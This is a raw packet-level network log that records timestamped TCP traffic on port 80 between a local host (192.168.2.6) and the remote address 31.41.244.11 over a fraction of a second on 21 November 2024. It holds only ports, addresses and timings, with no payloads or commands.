Nov 21, 2024 14:11:14.897995949 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.898011923 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.898050070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.898648024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.898724079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.898734093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.898758888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.898808956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.899530888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.899595022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.899605036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.899641037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.899698019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.900418043 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.900471926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.900497913 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.900506020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.900557995 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.901293039 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.901346922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.901372910 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.901386023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.901432991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.902180910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.902234077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.902251005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.902267933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.902319908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.903166056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.903201103 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.903235912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.903268099 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.903340101 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.903949022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.904002905 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.904036999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.904053926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.904053926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.904083967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.904808044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.904865026 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.905169964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.905222893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.905236006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.905271053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.905276060 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.905400991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.906049967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.906105042 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.906117916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.906140089 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.906158924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.906228065 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.906913042 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.906948090 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.907004118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.907007933 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.907027006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.907056093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.907784939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.907819986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.907870054 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.907881975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.907881975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.908679008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.908750057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.908760071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.908785105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.908814907 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.908833027 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.909614086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.909668922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.909702063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.909735918 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.909883976 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.910509109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.910562992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.910576105 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.910598040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.910717964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.911264896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.911325932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.911346912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.911382914 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.911401987 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.911439896 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.912111044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.912168026 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.912178993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.912214041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.912239075 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.912257910 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.913034916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.913069010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.913098097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.913106918 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.913136959 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.913167000 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.914017916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.914072990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.914107084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.914136887 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.914169073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.915081978 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.915133953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.915169954 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.915215969 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.915247917 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.916172981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.916237116 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.086910963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.086955070 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.087023973 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.087047100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.087150097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.087255001 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.087318897 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.087399006 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.087446928 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.087538004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.087784052 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.088311911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.088363886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.088469982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.088504076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.088520050 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.088551044 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.088958025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.088990927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.089011908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.089025974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.089052916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.089076042 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.090228081 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.090260983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.090297937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.090328932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.090353966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.091021061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.091053963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.091077089 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.091089964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.091105938 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.091136932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.091820955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.091855049 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.091872931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.091922045 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.091952085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.092045069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.092773914 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.092808962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.092828035 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.092845917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.092863083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.092891932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.093588114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.093621969 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.093657970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.093679905 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.093705893 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.094419003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.094454050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.094486952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.094501972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.094547033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.095220089 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.095280886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.095427990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.095463037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.095479965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.095508099 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.096194029 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.096400976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.096404076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.096436977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.096491098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.097143888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.097194910 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.097294092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.097326040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.097341061 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.097369909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.097930908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.097985983 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.098264933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.098299026 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.098315954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.098356009 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.098898888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.098952055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.099030018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.099064112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.099081039 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.099107981 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.099837065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.099870920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.099905968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.099906921 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.099920988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.099955082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.100927114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.100960970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.100977898 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.100996017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.101016998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.101046085 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.101464033 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.101496935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.101511002 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.101561069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.101609945 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.101660013 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.102615118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.102648973 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.102669001 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.102685928 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.102720976 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.102741957 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.103267908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.103301048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.103317022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.103343964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.103420973 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.103472948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.104192972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.104224920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.104244947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.104260921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.104315042 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.105014086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.105072021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.105170965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.105205059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.105222940 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.105273962 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.105782986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.105817080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.105844975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.105884075 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.105922937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.105973959 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.106739044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.106862068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.107161999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.107196093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.107229948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.107261896 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.107289076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.107357979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.107409954 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.107415915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.107445002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.107494116 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.108387947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.108422995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.108441114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.108459949 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.108477116 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.108514071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.109112024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.109165907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.109200001 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.109255075 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.109994888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.110048056 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.110049009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.110084057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.110095978 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.110126972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.110949039 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.110982895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.111000061 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.111018896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.111052990 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.111073971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.111916065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.111949921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.111968994 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.111984968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.112013102 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.112024069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.112631083 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.112682104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.112684965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.112720013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.112730026 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.112761974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.113502979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.113557100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.113590956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.113605022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.113632917 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.114448071 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.114500999 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.114509106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.114543915 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.114588022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.115271091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.115307093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.115360975 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.115385056 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.115444899 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.116164923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.116199970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.116211891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.116234064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.116260052 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.116282940 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.117214918 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.117266893 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.288330078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.288347960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.288362980 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.288397074 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.288441896 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.288522959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.288538933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.288567066 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.288589954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.289443970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.289459944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.289474964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.289520979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.290555954 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.290606022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.290755987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.290774107 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.290802002 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.290818930 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.291579962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.291595936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.291611910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.291655064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.292359114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.292375088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.292391062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.292438984 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:15.292829037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:15.292881966 CET	49876	80	192.168.2.6	31.41.244.11
